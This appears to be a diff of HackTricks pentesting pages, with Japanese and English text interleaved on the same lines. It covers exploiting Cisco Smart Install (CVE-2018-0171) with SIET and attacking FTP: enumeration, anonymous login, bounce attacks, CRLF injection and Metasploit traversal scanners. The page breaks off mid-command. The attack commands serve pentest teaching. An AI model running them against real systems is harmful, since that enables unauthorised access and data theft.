AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでのAWSハッキングを学びましょう**</summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 4786 - Cisco Smart Install # 4786 - Cisco Smart Install
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -18,7 +21,7 @@
## 基本情報 ## 基本情報
**Cisco Smart Install**は、新しいCiscoハードウェアの初期設定とオペレーティングシステムイメージの読み込みを自動化するために設計されたCiscoです。 **デフォルトでは、Cisco Smart InstallはCiscoハードウェアでアクティブであり、トランスポート層プロトコルであるTCPを使用し、ポート番号4786を使用します。** **Cisco Smart Install** は、新しいCiscoハードウェアの初期設定とオペレーティングシステムイメージのロードを自動化するためにCiscoが設計したものです。 **デフォルトでは、Cisco Smart InstallはCiscoハードウェアでアクティブであり、ポート番号4786のTCPというトランスポート層プロトコルを使用します。**
**デフォルトポート:** 4786 **デフォルトポート:** 4786
``` ```
@ -27,25 +30,25 @@ PORT STATE SERVICE
``` ```
## **Smart Install Exploitation Tool** ## **Smart Install Exploitation Tool**
**2018年、このプロトコルで致命的な脆弱性CVE-2018-0171が発見されました。脅威レベルはCVSSスケールで9.8です。** **2018年に、このプロトコルに重大な脆弱性、CVE-20180171が発見されました。脅威レベルはCVSSスケールで9.8です。**
**Cisco Smart InstallがアクティブなTCP/4786ポートに送信される特別に作成されたパケットは、バッファオーバーフローを引き起こし、攻撃者が次のことを行うことを可能にします:** **Cisco Smart InstallがアクティブなTCP/4786ポートに送信された特別に作成されたパケットがバッファオーバーフローを引き起こし、攻撃者が以下を行うことを可能にします:**
* デバイスを強制的に再起動する * デバイスを強制的に再起動する
* RCEを呼び出す * RCEを呼び出す
* ネットワーク機器の設定を盗む * ネットワーク機器の設定を盗む
**[SIET](https://github.com/frostbits-security/SIET) (Smart Install Exploitation Tool)** **は、この脆弱性を悪用するために開発されました。Cisco Smart Installを悪用することができます。この記事では、正当なネットワークハードウェアの設定ファイルを読み取る方法を紹介します。ペンテスターにとって、構成の外部流出は貴重な情報になります。これにより、ネットワークの固有の機能について学び、攻撃の新たなベクトルを見つけることができます。 **この** [**SIET**](https://github.com/frostbits-security/SIET) **Smart Install Exploitation Toolは、この脆弱性を悪用するために開発され、Cisco Smart Installを利用することができます。この記事では、正当なネットワークハードウェアの設定ファイルを読み取る方法を示します。設定の抽出は、ネットワークのユニークな機能について学ぶことができるため、ペンテスターにとって価値があります。これにより、生活が楽になり、新しい攻撃ベクトルを見つけることができます。**
**ターゲットデバイスは「ライブ」Cisco Catalyst 2960スイッチになります。仮想イメージにはCisco Smart Installがないため、実際のハードウェアでのみ練習できます。** **ターゲットデバイスは「ライブ」Cisco Catalyst 2960スイッチす。仮想イメージにはCisco Smart Installがないため、実際のハードウェアでのみ練習できます。**
ターゲットスイッチのアドレスは**10.10.100.10でCSIがアクティブ**です。SIETをロードして攻撃を開始します。**-g引数**はデバイスからの構成の外部流出を意味し、**-i引数**は脆弱なターゲットのIPアドレスを設定できます。 ターゲットスイッチのアドレスは**10.10.100.10でCSIがアクティブです。** SIETをロードして攻撃を開始します。**-g引数**はデバイスからの設定の抽出を意味し、**-i引数**は脆弱なターゲットのIPアドレスを設定することを可能にします。
``` ```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10 ~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
``` ```
<figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure>
スイッチの構成 **10.10.100.10****tftp/** フォルダになります スイッチの設定 **10.10.100.10****tftp/** フォルダーにあります
<figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure>
@ -53,14 +56,17 @@ PORT STATE SERVICE
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**したいですか?または **PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com) を手に入れます * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローします。**
* **ハッキングトリックを共有するために、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 21 - FTPのペンテスト # 21 - Pentesting FTP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションです。 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,8 +25,8 @@
## 基本情報 ## 基本情報
**ファイル転送プロトコルFTP**は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルとして機能します。\ **ファイル転送プロトコル (FTP)** は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルす。\
**プレーンテキスト**プロトコルであり、**改行文字 `0x0d 0x0a`** を使用するため、**`telnet`**または**`nc -C`**を使用して接続する必要があることがあります。 これは**プレーンテキスト**プロトコルで、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**
**デフォルトポート:** 21 **デフォルトポート:** 21
``` ```
@ -32,26 +35,26 @@ PORT STATE SERVICE
``` ```
### 接続のアクティブとパッシブ ### 接続のアクティブとパッシブ
**アクティブFTP**では、FTP **クライアント**は最初に制御**接続**をポートNからFTPサーバーのコマンドポートポート21に**イニシエート**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を**ポートMからFTPクライアントのポートN+1**に**イニシエート**します。 **アクティブFTP**では、FTP **クライアント**が最初に制御**接続**を自分のポートNからFTPサーバーのコマンドポート ポート21に**開始**します。次に、**クライアント**はポート**N+1**を**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を**自分のポートMからFTPクライアントのポートN+1**に**開始**します。
ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォールが設定されている場合、アクティブFTPは問題になる可能性があります。そのための実現可能な解決策がパッシブFTPです。 しかし、FTPクライアントが外部からの受信データ接続を制御するファイアウォールを設定している場合、アクティブFTPは問題になる可能性があります。そのための実行可能な解決策はパッシブFTPです。
**パッシブFTP**では、クライアントは制御接続をポートNからFTPサーバーのポート21に**イニシエート**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自身のポート番号Mの1つを送信します。そして、**クライアント**はデータ**接続**を、**ポートPからFTPサーバーのポートM**に**イニシエート**します。 **パッシブFTP**では、クライアントが自分のポートNからFTPサーバーのポート21に制御接続を**開始**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自分のポート番号Mの1つを送信します。そして、**クライアント**は**自分のポートPからFTPサーバーのポートM**にデータ**接続**を**開始**します。
ソース: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) 出典: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### 接続デバッグ ### 接続デバッグ
**FTP**コマンド**`debug`**と**`trace`**を使用して**通信がどのように行われているか**を確認できます。 **FTP**コマンド**`debug`**と**`trace`**を使用して**通信がどのように行われているか**を確認できます。
## 列挙 ## 列挙
### バナーの取得 ### バナーグラビング
```bash ```bash
nc -vn <IP> 21 nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
``` ```
### FTPをstarttlsを使用して接続する ### STARTTLSを使用してFTPに接続する
``` ```
lftp lftp
lftp :~> set ftp:ssl-force true lftp :~> set ftp:ssl-force true
@ -61,13 +64,13 @@ lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>] Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password lftp 10.10.10.208:~> login username Password
``` ```
### 認証なし列挙 ### Unauth enum
**nmap**を使用して **nmap**を使用して
```bash ```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10 sudo nmap -sV -p21 -sC -A 10.10.10.10
``` ```
次のコマンド`HELP`と`FEAT`を使用して、FTPサーバーの情報を取得できます FTPサーバーの情報を取得するには、`HELP` および `FEAT` コマンドを使用できます:
``` ```
HELP HELP
214-The following commands are recognized (* =>'s unimplemented): 214-The following commands are recognized (* =>'s unimplemented):
@ -117,83 +120,83 @@ ftp <IP>
>ascii #Set transmission to ascii instead of binary >ascii #Set transmission to ascii instead of binary
>bye #exit >bye #exit
``` ```
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp) ### [ブルートフォース](../../generic-methodologies-and-resources/brute-force.md#ftp)
ここでは、デフォルトのFTP資格情報の素敵なリストを見つけることができます: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) ここでは、デフォルトのFTP認証情報の素晴らしいリストを見つけることができます: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Automated ### 自動化
匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションまたはデフォルトで実行されます。 匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションを使用してデフォルトで実行されます:
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
## ブラウザ接続 ## ブラウザ接続
FTPサーバーには、次のようなURLを使用して、ブラウザたとえばFirefoxで接続できます ブラウザFirefoxなどを使用して、次のようなURLでFTPサーバーに接続できます:
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
注意してください。もし**webアプリケーション**がユーザーによって制御されたデータを**直接FTPサーバーに送信**している場合、ダブルURLエンコード`%0d%0a`ダブルURLエンコードでは`%250d%250a`となります)バイトを送信して、**FTPサーバーに任意のアクションを実行**させることができます。この可能な任意のアクションの1つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例httpと通信を試みることです。 注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、二重URLエンコードされた`%0d%0a`二重URLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**することができるということです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例えばhttpと通信を試みたりすることです。
## FTPからすべてのファイルをダウンロード ## FTPからすべてのファイルをダウンロードする
```bash ```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
``` ```
特殊文字を含むユーザー/パスワードを使用している場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948) を使用できます: もしあなたのユーザー名/パスワードに特殊文字が含まれている場合、[次のコマンド](https://stackoverflow.com/a/113900/13647948)を使用できます:
```bash ```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
``` ```
## いくつかのFTPコマンド ## 一部のFTPコマンド
- **`USER ユーザー名`** * **`USER username`**
- **`PASS パスワード`** * **`PASS password`**
- **`HELP`** サーバーはサポートされているコマンドを示します * **`HELP`** サーバーがサポートしているコマンドを示します
- \*\*`PORT 127,0,0,1,0,80`\*\*これにより、FTPサーバーがIP 127.0.0.1のポート80に接続するよう指示されます第5文字を "0" とし、第6文字を10進数のポートにするか、第5文字と第6文字を使用して16進数でポートを表現します)。 * \*\*`PORT 127,0,0,1,0,80`\*\*これは、FTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します_5番目の文字を「0」にし、6番目を10進数でポートにする必要があります。または、5番目と6番目を使ってポートを16進数で表現します_)。
- \*\*`EPRT |2|127.0.0.1|80|`\*\*これにより、FTPサーバーがIP 127.0.0.1のポート80にTCP接続"2"で示される)を確立するよう指示されます。このコマンドは**IPv6をサポート**しています * \*\*`EPRT |2|127.0.0.1|80|`\*\*これは、FTPサーバーにIP 127.0.0.1のポート80でTCP接続を確立するよう指示します_「2」によって示されます_。このコマンドは**IPv6をサポートしています**
- **`LIST`** これにより、現在のフォルダ内のファイルのリストが送信されます * **`LIST`** 現在のフォルダー内のファイルのリストを送信します
- **`LIST -R`** 再帰的にリストします(サーバーが許可する場合) * **`LIST -R`** 再帰的にリスト(サーバーが許可している場合)
- **`APPE /path/something.txt`** これにより、FTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示されます。ファイル名が存在する場合、データが追加されます。 * **`APPE /path/something.txt`** これは、FTPに**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合、データを追加します。
- **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします * **`STOR /path/something.txt`** `APPE`のように、ファイルを上書きします
- **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。 * **`STOU /path/something.txt`** `APPE`のように、存在する場合は何もしません。
- **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を介して指定されたファイルを送信します * **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を通じて指定されたファイルを送信します
- **`REST 6`** これにより、次回`RETR`を使用して何かを送信するときに、サーバーに6番目のバイトから開始するように指示されます。 * **`REST 6`** これは、次回`RETR`を使用して何かを送信する際に6バイト目から開始するようサーバーに指示します。
- **`TYPE i`** 転送をバイナリに設定します * **`TYPE i`** 転送をバイナリに設定します
- **`PASV`** これにより、パッシブ接続が開かれ、ユーザーが接続できる場所が示されます * **`PASV`** これはパッシブ接続を開き、ユーザーが接続できる場所を示します
- **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします * **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします
![](<../../.gitbook/assets/image (386).png>) ![](<../../.gitbook/assets/image (386).png>)
## FTPBounce攻撃 ## FTPバウンス攻撃
一部のFTPサーバーは`PORT`コマンドを許可します。このコマンドを使用して、FTPサーバーにホストのどのポートが開いているかをスキャンできます。 一部のFTPサーバーはPORTコマンドを許可します。このコマンドは、サーバーに他のFTPサーバーの特定のポートに接続したいことを示すために使用できます。これを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンできます。
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びま。**](ftp-bounce-attack.md) [**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md)
また、この動作を悪用してFTPサーバーを他のプロトコルとやり取りさせることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**_おそらく新しい管理者ユーザーを追加するために_か、FTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせることができます。\ この動作を悪用して、FTPサーバーを他のプロトコルと相互作用させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます_新しい管理ユーザーを追加するため_または、FTPリクエストをアップロードして、脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
理論は簡単です: 理論は簡単です:
1. **(テキストファイル内に)リクエストを脆弱なサーバーにアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります 1. **脆弱なサーバーにリクエスト(テキストファイル内)をアップロードします。**のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。
2. **送信したくない文字を送信しないようにするために`REST X`を使用します**(おそらくファイル内にリクエストをアップロードするために、最初にいくつかの画像ヘッダーを配置する必要があるかもしれません) 2. **`REST X`を使用して、送信したくない文字を送信しないようにします**(おそらく、リクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要がありました)。
3. **任意のサーバーとサービスに接続するために`PORT`を使用します** 3. **`PORT`を使用して任意のサーバーとサービスに接続します**
4. **保存されたリクエストをサーバーに送信するために`RETR`を使用します** 4. **`RETR`を使用して保存されたリクエストをサーバーに送信します**
これはおそらく**_Socket not writable_**のようなエラーをスローする可能性が高いです**_`RETR`でデータを送信するのに十分な接続がないため**。それを回避しようとする提案は次のとおりです: これは**_ソケットが書き込み可能ではない_**というエラーを引き起こす可能性が非常に高いです**。これは、接続が`RETR`でデータを送信するのに十分長く続かないためです**。これを回避するための提案は次のとおりです:
- HTTPリクエストを送信している場合、**少なくとも\~0.5MBまで同じリクエストを繰り返します**。次のように: * HTTPリクエストを送信している場合は、**同じリクエストを1つの後にもう1つ**、少なくとも**\~0.5MB**まで送信します。次のように:
{% file src="../../.gitbook/assets/posts.txt" %} {% file src="../../.gitbook/assets/posts.txt" %}
posts.txt posts.txt
{% endfile %} {% endfile %}
- プロトコルに関連する「ジャンク」データでリクエストを埋めることを試みますFTPに話しかける場合、ジャンクコマンドを使用するか、ファイルを取得するために`RETR`命令を繰り返します) * **プロトコルに関連する「ジャンク」データでリクエストを埋める**ことを試みますFTPと話す場合は、ジャンクコマンドやファイルを取得するために`RETR`命令を繰り返すこと
- リクエストを多くのヌル文字や他の文字で埋めます(行ごとに分割されているかどうか) * **リクエストを多くのヌル文字やその他のもので埋める**(行で分けるかどうかは問わず)。
とにかく、ここに[FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようにするためにこれを悪用する方法に関する古い例があります。](ftp-bounce-download-2oftp-file.md) とにかく、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md)
## Filezillaサーバーの脆弱性 ## Filezillaサーバーの脆弱性
**FileZilla**は通常、**FileZilla-Server**ポート14147の**ローカル**管理サービスに**バインド**されます。**あなたのマシン**からこのポートにアクセスする**トンネル**を作成できれば、**空のパスワード**を使用して**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。 **FileZilla**は通常、**ローカル**に**FileZilla-Server**のための**管理サービス**を**バインド**しますポート14147。このポートにアクセスするために**あなたのマシン**から**トンネル**を作成できれば、**空のパスワード**を使用して**接続**し、FTPサービスのために**新しいユーザー**を**作成**できます。
## 設定ファイル ## 設定ファイル
``` ```
@ -202,24 +205,24 @@ ftp.conf
proftpd.conf proftpd.conf
vsftpd.conf vsftpd.conf
``` ```
### ポストエクスプロイテーション ### Post-Exploitation
vsFTPdのデフォルト構成は `/etc/vsftpd.conf` にあります。ここでは、いくつかの危険な設定が見つかります: vsFTPdのデフォルト設定は`/etc/vsftpd.conf`にあります。ここにはいくつかの危険な設定が見つかります:
- `anonymous_enable=YES` * `anonymous_enable=YES`
- `anon_upload_enable=YES` * `anon_upload_enable=YES`
- `anon_mkdir_write_enable=YES` * `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - 匿名ユーザーのディレクトリ * `anon_root=/home/username/ftp` - 匿名用のディレクトリ。
- `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更する * `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更
- `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー * `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー
- `local_enable=YES` - ローカルユーザーのログインを有効にする * `local_enable=YES` - ローカルユーザーのログインを有効にする
- `no_anon_password=YES` - 匿名からのパスワードを要求しない * `no_anon_password=YES` - 匿名にパスワードを尋ねない
- `write_enable=YES` - コマンドを許可: STOR、DELE、RNFR、RNTO、MKD、RMD、APPE、および SITE * `write_enable=YES` - コマンドを許可:STOR、DELE、RNFR、RNTO、MKD、RMD、APPE、およびSITE
### Shodan ### Shodan
- `ftp` * `ftp`
- `port:21` * `port:21`
*** ***
@ -283,14 +286,17 @@ Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use 